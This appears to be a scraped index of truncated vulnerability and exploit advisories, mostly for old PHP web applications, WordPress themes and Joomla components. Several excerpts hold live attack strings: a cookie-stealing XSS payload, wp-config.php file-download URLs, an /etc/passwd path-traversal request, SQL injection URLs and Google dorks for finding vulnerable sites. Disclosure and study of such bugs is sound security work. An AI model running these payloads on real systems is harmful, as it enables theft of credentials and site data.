DEBIAN-CVE-2014-9038

wp-includes/http.php in WordPress before 3.7.5, 3.8.x before 3.8.5, 3.9.x before 3.9.3, and 4.x before 4.0.1 allows remote attackers to conduct server-side request forgery SSRF attacks by referring to a 127.0.0.0/8 resource...

FlatNuke 3.1.x Cross Site Scripting

------------------------------------------------------------------------- + FlatNuke alertdocument.cookie&body=This is my comment ------------------------------------------------------------------------------------------------...

FlatNuke 3.1.4 (FlatPoll) Persistent XSS Vulnerability

Exploit for php platform in category web applications ------------------------------------------------------------------------- + FlatNuke alertdocument.cookie&body=This is my comment ------------------------------------------------------------------------------------------------ 0day.today...

iFunBox Free v1.1 iOS - File Include Vulnerability

Document Title: =============== iFunBox Free v1.1 iOS - File Include Vulnerability References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=1344 Release Date: ============= 2014-10-20 Vulnerability Laboratory ID VL-ID: ==================================== 1344...

jom3aco SQL Injection

jom3aco new SQL Injection Vulnerability ======================================= Author : indoushka Vondor : http://www.jom3a.com Dork : show.php?do=viewsubject&id=&ids= ========================== SQL Injection : http://localhost/www/show.php?do=viewsubject&id=&ids=14 inject her Fckeditor Upload :...

trousers: DoS vulnerability in tcsd

A flaw was found in the way tcsd, the daemon that manages Trusted Computing resources, processed incoming TCP packets. A remote attacker could send a specially crafted TCP packet that, when processed by tcsd, could cause the daemon to crash. Note that by default tcsd accepts requests on localhost...

NDBLOG 0.1 Cross Site Scripting / SQL Injection

NDBLOG version 0.1 multi Vulnerability ====================================== Author : indoushka Vondor : ALAMARAB2.com Dork : جميع الحقوق محفوظة © - ALAMARAB2.com - NDBLOG v0.1 ================================================== Sql injection : http://localhost/ND/blog.php?id=85 inject her Blind...

WordPress yakimabait Theme Arbitrary File Download Vulnerability

Exploit for php platform in category web applications Poc : http://localhost/wp-content/themes/yakimabait/download.php?file=./wp-config.php Demo : http://www.yakimabait.com/wp-content/themes/yakimabait/download.php?file=./wp-config.php --------------------------------------- Greetz to : All...

WordPress Antioch Arbitrary File Download

|||||||||||||||||||||||||||||||||||||||||||||||||| |-------------------------------------------------------------------------| | Exploit Title: Wordpress Antioch Theme Arbitrary File Download Vulnerability | | Google Dork: inurl:wp-content/themes/antioch | | Date : Date: 2014-09-07 | | Exploit...

(0Day) (Pwn2Own\Pwn4Fun) Microsoft Internet Explorer localhost Protected Mode Bypass Vulnerability

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Internet Explorer. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the...

Do not scan localhost on the Tenable Appliance or Tenable.io

Binary data dontscanlocalhost.nbin...

U&M Software Event Lister 1.0 Auth Bypass Vulnerability

No description provided by source. ============================================================================== / \ | | | | / \ | | | | / \ | | | | / \ | || | / \ | | | | / \ | | IN THE NAME OF // \ || || // \ || || ==============================================================================...

ClipShare < 3.0.1 (tid) Remote SQL Injection Vulnerability

No description provided by source. // / / / Clipshare / / / / Remote SQL Injection Vulnerability / / / / / // AUTHOR : SuNHouSe2 ALGERIAN HaCkEr DORK : powered by clipshare VERSION : less than v3.0.1 EXPLOIT :...

Metinfo 3.0 - Multiple Vulnerabilities

No description provided by source. Exploit Title: metinfo3.0 Mullti Vulnerability Date : 10-11-2010 Author : anT!-Tr0J4n Version : 3.0 DorK : Powered by MetInfo 3.0 Home : www.Dev-PoinT.com : http://milw0rm.ws Email : D3v-PoinTathotmaild0tcom & C1EHatHotmaild0tcom Vendor� : http://www.metinfo.cn/...

PHP Chat for 123 Flash Chat Remote File Inclusion Vulnerability

No description provided by source. Exploit Title: phpchat Remote File inclusion Vulnerability Date: 2010/07/20 Author: HaCkEr arar Email: [email protected] My Sites : www.vbspiders.com Script home: http://www.opensourcescripts.com/dir/PHP/Chat/phpchatmodulefor123flashchat4902.html Tested on: Windows...

Spaceacre (index.php) SQL/HTML/XSS Injection Vulnerability

No description provided by source. ------------------------------------------------------------------------------------------- Spaceacre index.php SQL/HTML/XSS Injection Vulnerability ------------------------------------------------------------------------------------------- Author: CoBRa21 Scrip...

Scribe <= 0.2 (index.php page) Local File Inclusion Vulnerability

No description provided by source. scribe 0.2 local file inclusion vulnerability download http://sourceforge.net/projects/scribe/ author muuratsalo contact muuratsaloatgmail.com exploit http://localhost/0.2/index.php?page=../../../../../../../../../../etc/passwd%00 milw0rm.com 2008-02-14...

ZeeCareers 2.x - PHP HR Manager Website [ XSS / Auth Bypass ]

No description provided by source. Title: ZeeCareers v2x - PHP HR Manager Website XSS / Auth Bypass Date: 12/12/2009 Author: bi0 Software Link: http://www.zeecareers.com/ Version: 2x CVE : Code : /\ == \ /\ \ /\ \ \ \ \ \ \ \ \ /\ \ \ \ \ \ \ \ // // // 01000010 01101001 01001111...

phpCow 2.1 - File Inclusion Vulnerability

No description provided by source. + |ViRuSHiMa@YouR SyS|\ + ||||\ + |||||, + |||||||| + @''@|@@@ +====================================================================|| About : phpCow v2.1 File Inclusion Vulnerability || ! Site : http://www.phpcow.com || ! Author : ViRuSHiMa || ! Site :...

Joomla Component wmi (com_wmi) LFI Vulnerability

No description provided by source. ================================================================================================ Title : Joomla Component wmi comwmi LFI Vulnerability Vendor : http://www.paysyspro.com/ Download : http://www.paysyspro.com/jotloader/files.download/3 Date : Sunday...